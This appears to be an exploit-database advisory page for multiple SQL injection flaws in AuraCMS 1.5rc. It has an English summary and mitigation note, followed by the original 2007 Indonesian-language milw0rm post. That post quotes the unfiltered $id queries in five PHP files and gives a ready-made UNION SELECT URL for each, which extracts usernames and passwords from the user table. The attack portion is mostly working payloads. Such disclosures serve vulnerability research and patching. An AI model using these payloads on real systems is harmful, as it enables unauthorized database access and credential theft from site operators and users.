AuraCMS version 1.5rc - Multiple Remote SQL Injection Vulnerabilities

vendor:

AuraCMS

by:

k1tk4t

7.5

CVSS

HIGH

Multiple Remote SQL Injection

CWE

Product Name: AuraCMS

Affected Version From: AuraCMS version 1.5rc

Affected Version To: AuraCMS version 1.5rc

Patch Exists: NO

Related CWE: Not provided

CPE: Not provided

Metasploit:

Other Scripts:

Platforms Tested: Not provided

Not provided

AuraCMS version 1.5rc – Multiple Remote SQL Injection Vulnerabilities

There are multiple instances in different files of AuraCMS version 1.5rc where user input variable $id is not properly filtered before being used in SQL queries, allowing attackers to manipulate SQL statements through the browser. This can lead to unauthorized access to the database and potential data leakage.

Mitigation:

To mitigate these vulnerabilities, it is recommended to properly filter and validate user input before using it in SQL queries. This can be done by using parameterized queries or prepared statements to prevent SQL injection attacks.

Source

Exploit-DB raw data:

########################################################################
# AuraCMS version 1.5rc - Multiple Remote SQL Injection Vulnerabilities
# Vendor           : http://www.auracms.org/
# Ditemukan oleh   : k1tk4t - k1tk4t[4t]newhack.org
# Lokasi           : Indonesia  --  #newhack[dot]org @ irc.dal.net
########################################################################

// Kutu pada berkas 'hal.php' baris-7
$perintah="SELECT * FROM halaman WHERE id=$id";
$hasil = mysql_query( $perintah );
--> $id tidak ter'filter'sebelumnya dengan baik, sehingga pengguna dapat memanipulasi SQL melalui browser
Contoh;
http://localhost/auracms15/?pilih=hal&id=-9%20UNION%20SELECT%200,user,password%20from%20user/*


// Kutu pada berkas 'cetak.php' baris-7
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
--> $id tidak ter'filter'sebelumnya dengan baik, sehingga pengguna dapat memanipulasi SQL melalui browser
Contoh;
http://localhost/auracms15/cetak.php?id=-9%20UNION%20SELECT%20null,null,null,password,null,user,null,null%20from%20user/*


// Kutu pada berkas 'lihat.php' baris-7
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
--> $id tidak ter'filter' sebelumnya dengan baik, sehingga pengguna dapat memanipulasi SQL melalui browser
Contoh;
http://localhost/AuraCMS1.5/?pilih=lihat&id=-9%20UNION%20SELECT%20null,user,password,null,null,null,null,null%20from%20user/*


// Kutu pada berkas 'pesan.php' baris-7
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
} else {
    $perintah="SELECT * FROM komentar WHERE id=$id";
--> $id tidak ter'filter' sebelumnya dengan baik, sehingga pengguna dapat memanipulasi SQL melalui browser
Contoh;
http://localhost/AuraCMS1.5/?pilih=pesan&id=-9%20UNION%20SELECT%20null,null,null,concat(user,0x3a,password),null,null,null,null%20from%20user/*


// Kutu pada berkas 'teman.php' baris-6
$perintah="SELECT * FROM artikel WHERE id=$id AND publikasi=1";
$hasil = mysql_query( $perintah );
--> $id tidak ter'filter' sebelumnya dengan baik, sehingga pengguna dapat memanipulasi SQL melalui browser
Contoh;
http://localhost/AuraCMS1.5/?pilih=teman&id=-9%20UNION%20SELECT%20null,concat(user,0x3a,password),null,null,null,null,null,null%20from%20user/*


########################################################################

!!! Mohon maaf untuk webadmin mohon di update ke AuraCMS versi terbaru !!!  

########################################################################
Terimakasih untuk;
str0ke, DNX
xoron,iFX,x-ace,nyubi,arioo,selikoer,k1ngk0ng,aldy_BT,adhietslank
dan semua temen2 komunitas security&hacking
-----------------------
-newhack[dot]org|staff-
mR.opt1lc ,fusion,fl3xu5,PusHm0v,Ghoz,bius,iind_id,slackX
-----------------------
all member newhack[dot]org
-----------------------
all member www.echo.or.id
-----------------------
all member www.yogyafree.net
-----------------------
all member www.sekuritionline.net
-----------------------
all member www.kecoak-elektronik.net
-----------------------
semua komunitas hacker&security Indonesia
Cintailah Bahasa Indonesia

# milw0rm.com [2007-09-09]